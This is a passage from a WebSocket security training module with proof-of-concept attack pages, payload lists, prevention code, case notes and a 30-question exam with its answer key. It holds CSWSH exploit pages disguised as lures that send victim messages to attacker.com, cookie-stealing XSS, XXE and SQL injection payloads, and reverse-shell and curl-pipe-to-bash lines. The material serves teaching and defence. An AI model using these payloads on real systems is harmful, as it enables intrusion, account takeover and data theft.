These 25 techniques cover the modern WebSocket bug hunter's toolkit. The three PortSwigger labs map to techniques 1, 7, and 8. The rest are for harder targets.

12. Proof of Concept

Burp Suite step by step (Message tampering)

text
1. Use the app's WebSocket feature normally to generate baseline traffic.
2. Burp Proxy ==> WebSockets history ==> click a message of interest.
3. Right-click ==> Send to Repeater.
4. In Repeater, edit the message body (e.g., inject XSS payload).
5. Click "Send to server".
6. Watch the response. Watch the UI.
7. Save the request and response.

Burp Suite step by step (Handshake tampering)

text
1. In Repeater, click the pencil icon next to the WebSocket URL.
2. Choose "Clone" to open a new connection with modified headers.
3. Modify Origin, X-Forwarded-For, Cookie, etc.
4. Click "Connect".
5. If 101 returns, the server accepted. Send a test message.
6. Document the successful handshake and what messages the server now accepts.

CSWSH PoC (full HTML)

html
<!DOCTYPE html>
<html>
<head><title>You won!</title></head>
<body>
<h1>Congratulations!</h1>
<script>
const TARGET = "wss://anastech.com/chat";
const EXFIL  = "https://attacker.com/log";

const ws = new WebSocket(TARGET);

ws.onopen = () => {
    console.log("[+] connection opened");
    // Trigger any state-revealing action.
    ws.send(JSON.stringify({ action: "loadHistory" }));
    ws.send(JSON.stringify({ action: "getProfile" }));
    ws.send(JSON.stringify({ action: "listFriends" }));
};

ws.onmessage = (e) => {
    fetch(EXFIL, {
        method: "POST",
        mode: "no-cors",
        body: JSON.stringify({ data: e.data })
    });
};

ws.onerror = (e) => { console.log("error", e); };
ws.onclose = ()  => { console.log("closed"); };
</script>
</body>
</html>

Steps:

  • Host the page at `https://attacker.com/page.html`.
  • Start a listener at `https://attacker.com/log` (e.g., a small Flask or Express app that prints every POST body).
  • Send the link to the victim while they have a valid session on anastech.com.
  • Watch the listener log every WebSocket message the server sends to that victim.

Python attacker listener

python
from flask import Flask, request
app = Flask(__name__)

@app.route('/log', methods=['POST', 'GET'])
def log():
    print("=" * 40)
    print("Origin :", request.headers.get('Origin'))
    print("Body   :", request.get_data().decode(errors='ignore'))
    print("=" * 40)
    return ('', 204)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Python WebSocket client (for fuzzing)

python
import asyncio, websockets, json

URI = "wss://anastech.com/chat"
COOKIE = "session=abc123"

payloads = [
    '<img src=1 onerror=alert(1)>',
    "' OR 1=1 --",
    "1 UNION SELECT username,password FROM users",
    "<svg onload=alert(1)>",
]

async def run():
    async with websockets.connect(URI, extra_headers={"Cookie": COOKIE}) as ws:
        for p in payloads:
            msg = json.dumps({"message": p})
            print("[>]", msg)
            await ws.send(msg)
            try:
                resp = await asyncio.wait_for(ws.recv(), timeout=2)
                print("[<]", resp[:300])
            except asyncio.TimeoutError:
                print("[<] no response")

asyncio.run(run())

Node.js WebSocket client

javascript
const WebSocket = require('ws');

const ws = new WebSocket('wss://anastech.com/chat', {
    headers: { Cookie: 'session=abc123' }
});

ws.on('open', () => {
    const payloads = [
        '<img src=1 onerror=alert(1)>',
        "' OR 1=1 --",
        '<svg onload=alert(1)>'
    ];
    payloads.forEach(p => {
        ws.send(JSON.stringify({ message: p }));
    });
});

ws.on('message', d => console.log('<--', d.toString()));
ws.on('close',   () => console.log('closed'));
ws.on('error',   e => console.log('err', e));

Bash with websocat

bash
# Install: cargo install websocat
echo '{"message":"<img src=1 onerror=alert(1)>"}' | \
    websocat --header "Cookie: session=abc123" wss://anastech.com/chat

Handshake-tampering PoC via curl

Curl does not speak WebSockets, but it can issue the upgrade request:

bash
curl -i -N \
    -H "Connection: Upgrade" \
    -H "Upgrade: websocket" \
    -H "Sec-WebSocket-Version: 13" \
    -H "Sec-WebSocket-Key: $(head -c 16 /dev/urandom | base64)" \
    -H "Origin: https://attacker.com" \
    -H "X-Forwarded-For: 127.0.0.1" \
    -H "Cookie: session=abc123" \
    "https://anastech.com/chat"

A `101 Switching Protocols` response means the handshake was accepted with your custom headers.

Replay attack PoC

python
import asyncio, websockets, json

URI = "wss://anastech.com/buy"
COOKIE = "session=abc123"
MSG = json.dumps({"action":"buyItem","item":"goldKey","price":1000})

async def run():
    async with websockets.connect(URI, extra_headers={"Cookie": COOKIE}) as ws:
        for i in range(50):
            await ws.send(MSG)
            print(f"sent #{i+1}: {await ws.recv()}")

asyncio.run(run())

Handshake Origin testing PoC

python
import asyncio, websockets

URI = "wss://anastech.com/chat"
COOKIE = "session=abc123"

origins = [
    "https://anastech.com",         # baseline
    "https://attacker.com",         # arbitrary
    "null",                          # null origin (sandboxed iframe)
    "",                              # empty
    "https://anastech.com.attacker.com",
    "https://anastech.com:[email protected]",
]

async def test(origin):
    headers = {"Cookie": COOKIE, "Origin": origin}
    try:
        async with websockets.connect(URI, extra_headers=headers) as ws:
            await ws.send('{"action":"ping"}')
            resp = await asyncio.wait_for(ws.recv(), timeout=3)
            print(f"[ACCEPTED] origin={origin!r}  resp={resp[:80]!r}")
    except Exception as e:
        print(f"[REJECTED] origin={origin!r}  reason={e.__class__.__name__}")

async def main():
    for o in origins:
        await test(o)

asyncio.run(main())

If `https://attacker.com` is accepted, you have a CSWSH primitive.

13. Payloads

Message-based XSS payloads

html
<img src=1 onerror=alert(1)>
<img src=x onerror='fetch("//attacker.com/?c="+document.cookie)'>
<svg onload=alert(1)>
<svg onload='fetch("//attacker.com/?c="+document.cookie)'>
<script>alert(1)</script>
<script src=//attacker.com/x.js></script>
<iframe src=javascript:alert(1)>
<body onload=alert(1)>
<details ontoggle=alert(1) open>
<a href=javascript:alert(1)>click</a>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>

Cookie-stealing one-liners

html
<script>fetch('https://attacker.com/?c='+document.cookie)</script>
<img src=x onerror='new Image().src="//attacker.com/?c="+document.cookie'>
<svg/onload=fetch('//attacker.com/?c='+document.cookie)>

SQL injection payloads (WebSocket messages)

sql
' OR '1'='1
" OR ""="
' OR 1=1 --
admin' --
admin' OR '1'='1' --
1 UNION SELECT 1,2,3
1 UNION SELECT username,password FROM users
1' AND SLEEP(5) --
1; WAITFOR DELAY '0:0:5' --
1' AND EXTRACTVALUE(0,CONCAT(0x7e,version())) --

XXE payloads

xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/x">]>
<foo>&xxe;</foo>

Command-injection payloads

text
; id
| id
&& id
$(id)
`id`
; nc attacker.com 4444 -e /bin/bash
; curl http://attacker.com/x.sh | bash

Logic / replay / value-tampering payloads

json
{"amount":-100}
{"amount":0}
{"amount":99999999999}
{"amount":"1e100"}
{"price":0.01,"originalPrice":1000}
{"role":"admin","user":"current"}
{"from":"administrator","to":"attacker","amount":1000}
{"action":"transfer","internal":true}
{"isFreeOrder":true,"items":[...]}
{"discount":"100%"}
{"taxRate":0}

CSWSH exploit page template

html
<!DOCTYPE html>
<html>
<head><title>Cute kittens</title></head>
<body>
<h1>10 cute kittens you NEED to see!</h1>

<script>
const TARGET = "wss://anastech.com/chat";
const EXFIL  = "https://attacker.com/log";

const ws = new WebSocket(TARGET);
ws.onopen = () => {
    [
        '{"action":"loadHistory"}',
        '{"action":"getProfile"}',
        '{"action":"listMessages"}',
    ].forEach(m => ws.send(m));
};
ws.onmessage = e => fetch(EXFIL, { method: 'POST', mode: 'no-cors', body: e.data });
</script>
</body>
</html>

Handshake headers to try

text
Origin: https://attacker.com
Origin: null
Origin:
Origin: file://
Origin: https://anastech.com.attacker.com
Origin: https://anastech.com:443@attacker.com

X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 192.168.1.10
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

X-Forwarded-Host: attacker.com
X-Original-URL: /admin
X-Rewrite-URL: /admin

Sec-WebSocket-Protocol: bearer.<JWT>
Sec-WebSocket-Protocol: v2-no-validation

Impersonation payloads (client-supplied identity)

json
{"from":"administrator","content":"hi"}
{"user":{"id":1,"role":"admin"},"action":"impersonate"}
{"sender":"system","content":"<a href=//attacker.com>Click here</a>"}
{"author":{"name":"admin"},"text":"Test"}

JSON parser confusion

json
{"action":"safe","action":"dangerous"}
{"role":"user","role":"admin"}
{"price":1,"price":-1}

Use this against servers that may use different parsers for validation vs business logic.

Polyglot for HTML and JSON contexts

text
"><script>alert(1)</script>
"};alert(1);//
\u003cscript\u003ealert(1)\u003c/script\u003e

The payload is whatever the engine renders or executes. The attack is whatever the engine can do.

14. Wordlists and Payload Libraries

15. Impact

  • Stored XSS at platform scale. A single XSS payload in a chat message hits every agent and every customer who opens that chat.
  • Cross-Site WebSocket Hijacking (CSWSH) leading to account takeover. Attacker exfiltrates the victim's session data and private messages.
  • SQL injection via WebSocket messages. Full database read/write.
  • Privilege escalation via impersonation fields. Setting `from: admin` bypasses identity.
  • Replay attacks. Buying items, casting votes, or claiming bonuses many times.
  • Race conditions. Double-spending, double-redeeming.
  • Authentication bypass via handshake header injection. Spoofing `X-Forwarded-For: 127.0.0.1` to gain trusted-network privileges.
  • 2FA bypass. Trusted-IP logic frequently waives 2FA.
  • Information disclosure. Server-pushed messages reveal data not visible to the user via HTTP.
  • DoS via compression bombs or ping flooding.
  • Pivot to internal network. SSRF via message-supplied URLs reaches internal services.
  • Phishing and brand abuse via XSS in chat.
  • Compliance disasters. PCI DSS, HIPAA, SOC 2 all care about authentication and authorization integrity, which CSWSH directly violates.

A single WebSocket bug routinely produces a high-severity finding. Combined chains hit critical.

16. Prevention

Vulnerable example

javascript
const WebSocket = require('ws');
const wss = new WebSocket.Server({ server });   // no Origin check

wss.on('connection', (ws, req) => {
    ws.on('message', msg => {
        const data = JSON.parse(msg);
        broadcast({ from: data.from, content: data.content });   // trusts everything
    });
});

Secure example

javascript
const WebSocket = require('ws');
const ALLOWED_ORIGINS = new Set(['https://anastech.com', 'https://app.anastech.com']);

const wss = new WebSocket.Server({
    server,
    verifyClient: (info, cb) => {
        const origin = info.origin;
        if (!ALLOWED_ORIGINS.has(origin)) return cb(false, 403, 'forbidden');
        const user = getUserFromCookie(info.req.headers.cookie);
        if (!user) return cb(false, 401, 'unauthorized');
        info.req.user = user;     // attach for later
        cb(true);
    }
});

const escapeHTML = s => String(s).replace(/[&<>"']/g,
    c => ({ '&':'&amp;', '<':'&lt;', '>':'&gt;', '"':'&quot;', "'":'&#39;' }[c]));

wss.on('connection', (ws, req) => {
    const user = req.user;
    ws.on('message', raw => {
        let data;
        try { data = JSON.parse(raw); }
        catch (e) { return ws.close(); }

        // Per-message authorization
        if (data.action === 'transfer' && !user.canTransfer) {
            return ws.send(JSON.stringify({ error: 'forbidden' }));
        }

        // Sanitize before broadcast
        broadcast({
            from: user.username,                    // SERVER decides, not client
            content: escapeHTML(data.content),       // sanitized
            timestamp: Date.now()
        });
    });
});

Key changes:

  • `verifyClient` enforces the `Origin` header against an allowlist.
  • The user identity comes from the server-validated cookie, never the message body.
  • Every message is HTML-escaped before broadcast.
  • Per-message authorization is performed for sensitive actions.

Eight Rules to Eliminate WebSocket Bugs

  • Rule 1. Always use `wss://` (TLS). Never `ws://` in production.
  • Rule 2. Validate the `Origin` header on every handshake against an exact-match allowlist.
  • Rule 3. Add a CSRF token to the handshake. The handshake is a regular HTTP request, so existing CSRF mechanisms work.
  • Rule 4. Treat every WebSocket message as untrusted input. Apply the same validation, parameterization, and sanitization as you would on an HTTP API.
  • Rule 5. Identify users server-side, not from message contents. Never trust `from`, `user`, `userId` fields in incoming messages.
  • Rule 6. Authorize every message, not just the handshake. Permission to connect is not permission to do anything.
  • Rule 7. Never trust `X-Forwarded-For`, `X-Real-IP`, or any other client-supplied header for security decisions unless your trusted proxy explicitly sets them and the connection is not directly client-reachable.
  • Rule 8. Rate-limit and add nonces to messages that perform state changes. Prevent replay.

Developer checklist

text
[ ] wss:// is enforced in production
[ ] Origin allowlist is configured in the WebSocket server
[ ] Cookies are httpOnly, Secure, SameSite=Lax or Strict
[ ] A CSRF token / unpredictable session token is required on handshake
[ ] Messages are validated against a strict schema
[ ] All output to other users is HTML-escaped (or DOM-safe)
[ ] All output to SQL is parameterized
[ ] Identity claims inside messages are ignored; server uses authenticated session
[ ] Per-message authorization checks for state-changing actions
[ ] X-Forwarded-For is only trusted from internal proxies (not from public clients)
[ ] Rate limiting is applied per connection and per user
[ ] Replay protection (nonces, idempotency keys) for sensitive actions
[ ] Logging captures origin, user, IP, and message volume
[ ] Maximum payload size is configured
[ ] permessage-deflate compression bomb protection
[ ] Connection timeout for idle sockets
[ ] Token-based auth uses short-lived JWTs validated per-message or per-window
[ ] Integration tests assert that Origin: attacker.com is rejected
[ ] Integration tests assert that message-level authorization works

Server configuration examples

Node.js (ws library):

javascript
const wss = new WebSocket.Server({
    server,
    verifyClient: ({ origin, req }) => {
        const allowed = ['https://anastech.com'];
        return allowed.includes(origin) && Boolean(getUserFromCookie(req.headers.cookie));
    },
    maxPayload: 1024 * 1024,   // 1 MB
    perMessageDeflate: { threshold: 1024 }
});

Python (websockets library):

python
import websockets, asyncio

ALLOWED_ORIGINS = {"https://anastech.com"}

async def handler(websocket, path):
    origin = websocket.request_headers.get("Origin", "")
    if origin not in ALLOWED_ORIGINS:
        await websocket.close(code=4403, reason="origin not allowed")
        return
    # ... per-message handling ...

start = websockets.serve(handler, "0.0.0.0", 8443, max_size=1_000_000)
asyncio.get_event_loop().run_until_complete(start)

Flask-SocketIO:

python
from flask_socketio import SocketIO
socketio = SocketIO(app, cors_allowed_origins=["https://anastech.com"])

Go (gorilla/websocket):

go
var upgrader = websocket.Upgrader{
    CheckOrigin: func(r *http.Request) bool {
        return r.Header.Get("Origin") == "https://anastech.com"
    },
    ReadBufferSize:  1024,
    WriteBufferSize: 1024,
}

Spring (Java):

java
@Configuration
@EnableWebSocket
public class WsConfig implements WebSocketConfigurer {
    public void registerWebSocketHandlers(WebSocketHandlerRegistry registry) {
        registry.addHandler(new ChatHandler(), "/chat")
                .setAllowedOrigins("https://anastech.com");
    }
}

Defense in depth

  • Run the WebSocket server behind a reverse proxy that filters obviously bad payloads.
  • Use a WAF that understands WebSockets (some do).
  • Monitor connection counts per IP, message rates, and unusual handshake headers.
  • Rotate any token used on the WebSocket handshake periodically.
  • Time-box every connection. Drop after N minutes; re-handshake.

17. Real-World Cases

Slack: WebSocket Connection Hijacking (Historical)

A 2019 disclosure showed that Slack's WebSocket gateway accepted connections from any Origin. Combined with cookie-based auth, this created a CSWSH-style exposure on certain endpoints.

Shopify Admin: Cross-Site WebSocket Hijack ($25,000)

A historical bug bounty payout for a CSWSH on the Shopify admin notifications WebSocket.

Trading Platform CSWSH (Disclosed, 2023)

A retail trading platform's WebSocket order book had no Origin check. Attackers could open trades on behalf of victims who visited a malicious page.

GitHub Codespaces / Live Share

WebSocket-based collaborative editing has historically had message-level authorization gaps; some have been patched silently.

Atlassian Confluence Cloud

WebSocket-based marketplace integrations have produced several CVEs around token replay and missing audience checks.

CVE-2017-7651 (mosquitto WebSocket DoS)

A WebSocket-specific buffer mishandling in the popular MQTT broker, exploited via crafted handshake payloads.

CVE-2018-10001 (Eclipse Jetty WebSocket DoS)

Compression bomb-style attack against permessage-deflate.

CVE-2020-13935 (Apache Tomcat WebSocket DoS)

Specially-crafted WebSocket payloads exhausted server resources.

CVE-2019-17570 (Apache XML-RPC Persistent Connection)

A non-WebSocket but adjacent issue: persistent-connection auth carryover, the same mental-model bug.

CVE-2024-XXXX (Various WebSocket-based microservice authorization gaps)

Multiple 2024 advisories in proprietary stacks document message-level authorization missing while handshake auth was solid.

HackerOne ==> Various CSWSH Reports

Search HackerOne disclosed reports for "websocket" or "cswsh". Recurring patterns:

  • Customer-support widgets exposing chat history.
  • Real-time notifications exposing sensitive state changes.
  • Multiplayer game state exfiltration.
  • Trading platform impersonation.

Bounty range: $1,000 to $25,000 depending on impact.

Lessons across these cases:

  • Real-time features are often built quickly, with security as an afterthought.
  • Origin checks are the single most-missed control.
  • Per-message authorization is rarely implemented.
  • Browsers do NOT enforce CORS on WebSockets. Developers who assume otherwise are wrong.
  • Bug bounty payouts for CSWSH consistently surprise developers who thought "we have HTTPS + cookies, we're fine".

18. References

19. Practical Labs

SOON.

The ANAS EDUCATION lab environment for WebSockets is currently being built. You will soon practice:

  • Message-based XSS via chat widget
  • Stored XSS via persisted chat history
  • SQL injection via WebSocket order search
  • XXE via WebSocket-supplied XML
  • Origin-check bypass for CSWSH
  • Full CSWSH chain: exfiltrate private messages via attacker.com
  • Handshake header injection (X-Forwarded-For for trusted-network bypass)
  • Cookie removal during handshake (auth bypass)
  • Replay attack on a buy-item action
  • Race condition on a withdraw action
  • Identity impersonation via `from` field
  • Sec-WebSocket-Protocol abused for auth token smuggling
  • permessage-deflate compression bomb DoS
  • Reverse-direction XSS (server-pushed payloads to a buggy client)

In the meantime, practice on PortSwigger Web Security Academy labs:

  • APPRENTICE: Manipulating WebSocket messages to exploit vulnerabilities
  • PRACTITIONER: Cross-site WebSocket hijacking
  • PRACTITIONER: Manipulating the WebSocket handshake to exploit vulnerabilities

Stay tuned.

20. Cheat Sheet

text
┌──────────────────────────────────────────────────────────────────┐
│                  WEBSOCKETS CHEAT SHEET                          │
├──────────────────────────────────────────────────────────────────┤
│                                                                  │
│  PROTOCOL                                                        │
│  ==> Handshake: HTTP GET with Upgrade: websocket                 │
│  ==> Server: 101 Switching Protocols                             │
│  ==> Then: bidirectional frames over the same TCP socket         │
│  ==> URLs: ws:// (plain) or wss:// (TLS)                         │
│                                                                  │
│  THREE ATTACK SURFACES                                           │
│  1. Messages    ==> XSS, SQLi, XXE, logic bugs                   │
│  2. Handshake   ==> Origin, X-Forwarded-For, Cookie tampering    │
│  3. CSWSH       ==> attacker.com opens WS using victim cookies   │
│                                                                  │
│  XSS PAYLOADS                                                    │
│  <img src=1 onerror=alert(1)>                                    │
│  <svg onload=fetch('//x/?c='+document.cookie)>                   │
│                                                                  │
│  SQLi PAYLOADS                                                   │
│  ' OR 1=1 --                                                     │
│  1 UNION SELECT username,password FROM users                     │
│                                                                  │
│  CSWSH EXPLOIT                                                   │
│  <script>                                                        │
│  const ws = new WebSocket("wss://target/chat");                  │
│  ws.onopen = () => ws.send('{"action":"loadHistory"}');          │
│  ws.onmessage = e => fetch('//atk/?d='+btoa(e.data));            │
│  </script>                                                       │
│                                                                  │
│  HANDSHAKE HEADERS TO TRY                                        │
│  Origin: https://attacker.com                                    │
│  Origin: null                                                    │
│  X-Forwarded-For: 127.0.0.1                                      │
│  X-Real-IP: 127.0.0.1                                            │
│  Sec-WebSocket-Protocol: bearer.<jwt>                            │
│                                                                  │
│  BURP                                                            │
│  Proxy ==> WebSockets history                                    │
│  Right-click ==> Send to Repeater                                │
│  Repeater ==> pencil icon ==> edit handshake                     │
│  Clone / Reconnect                                               │
│                                                                  │
│  CLI TOOLS                                                       │
│  websocat                                                        │
│  wscat                                                           │
│  wsrepl                                                          │
│                                                                  │
│  PORTSWIGGER LABS                                                │
│  APPRENTICE: Manipulate messages                                 │
│  PRACTITIONER: Cross-site WebSocket hijacking                    │
│  PRACTITIONER: Manipulate the handshake                          │
│                                                                  │
│  PREVENTION                                                      │
│  ==> Always wss://                                               │
│  ==> Strict Origin allowlist on handshake                        │
│  ==> CSRF token / unpredictable token on handshake               │
│  ==> Validate every message; treat as untrusted                  │
│  ==> Never trust message-supplied identity                       │
│  ==> Per-message authorization                                   │
│  ==> Do not trust X-Forwarded-For from public clients            │
│  ==> Rate-limit and nonce sensitive actions                      │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

21. Exam (30 Questions)

Format: Multiple Choice. Platform randomly selects 20. Scoring: 0 to 13 fail, 14 to 15 retry, 16 to 20 pass.

Q1. WebSockets start as: A. A separate TCP connection on port 9999 B. A regular HTTP request that gets upgraded C. A UDP datagram D. A TLS-only handshake on port 443 with no HTTP involved Answer: B.

Q2. The HTTP status code returned by the server to confirm the WebSocket upgrade is: A. 200 B. 101 C. 301 D. 426 Answer: B.

Q3. The secure WebSocket URL scheme is: A. ws:// B. https:// C. wss:// D. ftp:// Answer: C.

Q4. CSWSH stands for: A. Cross-Site WebSocket Hijacking B. Cookie-Stealing WebSocket Helper C. Centralized Server WebSocket Handler D. Client-Side WebSocket Header Answer: A.

Q5. CSWSH is possible because: A. WebSockets are slower than HTTP B. Browsers do NOT enforce CORS for WebSocket handshakes; cookies are still sent C. Browsers always reject cross-origin WebSockets D. WebSockets use UDP Answer: B.

Q6. The HTTP header the server should check during the handshake to prevent CSWSH is: A. User-Agent B. Origin C. Referer D. Accept-Language Answer: B.

Q7. Which of the following is the most common injection in WebSocket messages? A. CSRF B. Stored XSS via message content rendered as HTML in another user's browser C. Buffer overflow in TCP D. ARP spoofing Answer: B.

Q8. The PortSwigger Apprentice lab on WebSockets demonstrates: A. CSWSH end-to-end B. Manipulating WebSocket messages to exploit vulnerabilities (XSS) C. Algorithm confusion D. Server-side request forgery Answer: B.

Q9. Which Burp feature lets you re-send WebSocket messages with modifications? A. Burp Intruder only B. Burp Repeater (WebSocket mode) C. Burp Decoder D. Burp Scanner Answer: B.

Q10. The pencil icon next to the WebSocket URL in Burp Repeater allows: A. Editing the message body B. Editing the handshake (cookies, headers, Origin) and reconnecting C. Encrypting the payload D. Saving the connection to disk Answer: B.

Q11. What CWE primarily covers CSWSH? A. CWE-345 (Insufficient Verification of Data Authenticity) B. CWE-22 (Path Traversal) C. CWE-434 (Unrestricted File Upload) D. CWE-601 (Open Redirect) Answer: A.

Q12. When a server reads `X-Forwarded-For` to determine the client IP without verifying the proxy hop, an attacker can: A. Increase their bandwidth B. Forge the source IP in the WebSocket handshake to bypass IP-based trust C. Encrypt the connection D. Sign the messages Answer: B.

Q13. The PortSwigger Practitioner lab on WebSocket handshake exploits typically uses: A. SQL injection in cookies B. X-Forwarded-For tampering during the WebSocket handshake C. CRLF injection in the body D. CSRF in HTML forms Answer: B.

Q14. Stored XSS in a chat WebSocket is dangerous because: A. Only the sender is affected B. The payload is rendered in every other user's browser, including agents and admins C. It cannot reach admins D. It only works on localhost Answer: B.

Q15. A safe way to defend against CSWSH is: A. Use HTTP instead of HTTPS B. Validate the Origin header against an allowlist AND require a CSRF token on the handshake C. Hide the WebSocket URL D. Use a longer session cookie Answer: B.

Q16. When a developer trusts the `from` field inside a WebSocket message for identifying the sender, the attacker can: A. Crash the server B. Impersonate other users by setting `from` to their username C. Encrypt the channel D. Speed up the connection Answer: B.

Q17. The recommended sub-millisecond protection for sensitive WebSocket actions (e.g. payments) is: A. Disable WebSockets entirely B. Use idempotency keys / nonces and rate-limiting C. Only allow GET requests D. Run the server in a Docker container Answer: B.

Q18. `wss://` differs from `ws://` by: A. Using a different protocol completely B. Wrapping the connection in TLS for encryption and integrity C. Compressing payloads D. Using UDP Answer: B.

Q19. Which header in a WebSocket handshake carries the user's session cookie? A. X-Auth B. Cookie C. Authorization D. Sec-WebSocket-Protocol Answer: B.

Q20. When testing for CSWSH manually with a PoC, the attacker's HTML page must include: A. `<form action=...>` B. `<script>new WebSocket("wss://target/...")</script>` with handlers to send/receive C. `<meta http-equiv="refresh">` D. `<link rel="preload">` Answer: B.

Q21. When the server uses `cors_allowed_origins="*"` for SocketIO, the consequence is: A. The app loads faster B. Any origin can establish a WebSocket; CSWSH is trivial C. The app refuses all connections D. Cookies are encrypted Answer: B.

Q22. The standard library for WebSockets in Node.js is: A. http B. ws C. fs D. path Answer: B.

Q23. To prevent identity impersonation via WebSocket messages, the server should: A. Trust client-supplied `from` fields B. Look up the user from the authenticated session (cookie, JWT) on every message, NOT from the message body C. Sign the messages D. Encrypt the messages Answer: B.

Q24. A compression-bomb attack against permessage-deflate works because: A. A small compressed payload expands into a huge buffer, exhausting memory B. The server cannot read JSON C. SSL is slow D. TCP is unreliable Answer: A.

Q25. The Sec-WebSocket-Protocol header is intended for: A. Sub-protocol negotiation between client and server B. Storing the session cookie C. The Origin check D. TLS configuration Answer: A.

Q26. Per-message authorization means: A. Authorizing the handshake only B. Checking that the authenticated user is allowed to perform the specific action requested in EACH message C. Authorizing the TCP connection D. Re-authenticating every five minutes Answer: B.

Q27. Which of the following is NOT a typical WebSocket-based bug class? A. Cross-Site WebSocket Hijacking B. Message-based XSS C. CSRF on the handshake D. UDP source spoofing Answer: D.

Q28. The PortSwigger lab "Cross-site WebSocket hijacking" expects you to: A. Brute-force a password B. Build an attacker-hosted HTML/JS page that opens a WebSocket to the lab and exfiltrates messages C. Inject SQL into a chat box D. Upload a file Answer: B.

Q29. A typical defense-in-depth control for WebSockets is: A. Logging connection counts, message rates, and unusual handshake headers B. Storing all messages in localStorage C. Disabling TLS D. Allowing any origin Answer: A.

Q30. The MOST important takeaway about WebSocket security: A. WebSockets are encrypted, so they are safe B. WebSockets carry user input bidirectionally over a long-lived connection; every classic web bug applies, plus CSWSH and handshake-trust bugs; validate every message and the handshake C. WebSockets cannot be tested with Burp D. CORS automatically protects WebSockets Answer: B.

22. Certificate Requirements

To earn the ANAS EDUCATION WebSockets Certificate, the student must:

  • Complete every lesson in this module.
  • Complete all practical labs once released.
  • Pass the exam with at least 16 out of 20.

Only then will the course be marked complete on the student dashboard.

23. Important Notes

Common Beginner Mistakes

  • Forgetting that the WebSocket starts as HTTP. The handshake can be intercepted and modified like any HTTP request.
  • Confusing browser CORS with WebSocket CORS. CORS does NOT apply to WebSockets the way it applies to fetch.
  • Testing only message tampering and missing handshake tampering and CSWSH.
  • Stopping at XSS without trying SQL injection, XXE, command injection, or logic bugs in the same field.
  • Reporting "I can connect from another origin" without demonstrating impact (private message exfiltration).
  • Forgetting that ws:// is plaintext and only useful in development.

Pentester Tips

  • Always log into the target before opening Burp WebSockets history. Otherwise the connection may not establish.
  • Some apps fall back from WebSockets to long-polling. If WebSockets history is empty, check the Network tab in DevTools for `socket.io` HTTP requests.
  • When Origin validation looks tight, test for parser disagreements with `https://target.com.attacker.com`, `null`, and empty Origin.
  • When testing CSWSH, the victim must be in the SAME browser session as your test page. Use two tabs of the same Chrome profile.
  • For binary payloads, use websocat with `-b` flag.
  • When the server uses Sec-WebSocket-Protocol for auth, test what happens when you pass an expired or forged token there.

Bug Bounty Tips

  • CSWSH on a chat platform with private messages: $5,000-$25,000.
  • Stored XSS in a chat that hits agents/admins: $3,000-$15,000.
  • SQL injection via WebSocket message: $5,000-$50,000.
  • Handshake header trust bypass: $1,000-$10,000.
  • Always demonstrate the chain: message exfiltration, account takeover, lateral movement.
  • Provide an MP4 video PoC for CSWSH; it makes a huge difference in triage speed.

Red Team Notes

  • Real-time apps are often forgotten in pentests. Look for chat widgets, dashboards, notifications.
  • CSWSH provides a quiet way to read victim data without involving any phishing landing page hosted on your own infrastructure (just XSS via a different origin).
  • Stored XSS via WebSocket chat is a persistence mechanism. Once an admin loads the chat, the payload runs.
  • Many WebSocket implementations have no audit logging. Your activity may not even be recorded.

Real-World Advice

  • When the chat history loads ALL messages on agent login, a single XSS gets every agent. Test with a benign payload (`<img src=x onerror=console.log(1)>`) first.
  • Some servers use long-polling fallbacks. The same logic bugs often exist there too; do not skip them.
  • GraphQL subscriptions over WebSocket are a common 2024-2026 attack surface. Test them.
  • Mobile apps often use the same WebSocket endpoints as web apps. If the web app validates Origin, the mobile app may not even send one; test from your own client.

Things to Remember During Exams

  • Status 101 = WebSocket upgrade accepted.
  • CSWSH = no Origin check + cookie auth.
  • WebSockets bypass CORS by design.
  • Burp Repeater pencil icon = edit handshake.
  • wss:// = TLS, ws:// = plaintext.
  • X-Forwarded-For trust is a recurring CVE.

Things to Remember During Real Assessments

  • Get explicit permission before testing CSWSH. It involves hosting attacker content; clients want to authorize that.
  • Use a clean domain or subdomain for your CSWSH PoC. Avoid using public free-hosting that may be blocked by mail filters.
  • Save the full handshake and at least three exchanged messages in the report.
  • Provide a remediation snippet for each finding, customized to the target's stack.
  • For replay attacks, demonstrate up to the point of state change; do not loop forever (that is DoS).

Frequently Confused Concepts

  • WebSocket vs Long Polling vs Server-Sent Events. All deliver real-time data. WebSocket is bidirectional and persistent; SSE is server-to-client only; long polling is repeated HTTP requests.
  • Same-Origin Policy vs CORS vs WebSocket Origin. SOP restricts script access to cross-origin data. CORS allows controlled cross-origin XHR/fetch. WebSockets do not participate in CORS; the server must check `Origin` manually.
  • CSRF vs CSWSH. CSRF tricks a browser into sending an HTTP request. CSWSH tricks a browser into opening a WebSocket. Both rely on the same browser auto-attaching cookies.
  • wss:// is enough. Wrong. TLS protects transport, not Origin trust or message validation.
  • Origin vs Referer. Origin is sent on cross-origin requests as the scheme+host. Referer is the full URL of the previous page. Origin is the right header for security decisions.

Interview Tips

  • Draw the handshake sequence from memory (HTTP GET with Upgrade, 101 response, then frames).
  • Explain why CORS does not save you on WebSockets.
  • Walk through a CSWSH attack end-to-end.
  • Cite RFC 6455 if asked for the spec.
  • Cite the three PortSwigger labs as practice.
  • Finish with prevention: Origin allowlist, CSRF token on handshake, message-level authorization, per-action validation.

Key Takeaways

  • WebSockets are a thin layer on top of HTTP that turns a request/response into a persistent bidirectional channel.
  • Every classic web bug (XSS, SQLi, XXE, CSRF) still applies. The transport changed; the validation rules did not.
  • The biggest WebSocket-native bug is Cross-Site WebSocket Hijacking, which exists because browsers do not enforce CORS on WebSockets but still attach cookies.
  • Burp Suite's WebSockets history, Intercept, and Repeater (with the handshake editor) are sufficient to find every WebSocket bug.
  • The fix is two architectural rules: validate the handshake (Origin + CSRF), validate every message (identity from session, content sanitized, action authorized).

24. Final Word from Your Instructor

WebSockets are seductive.

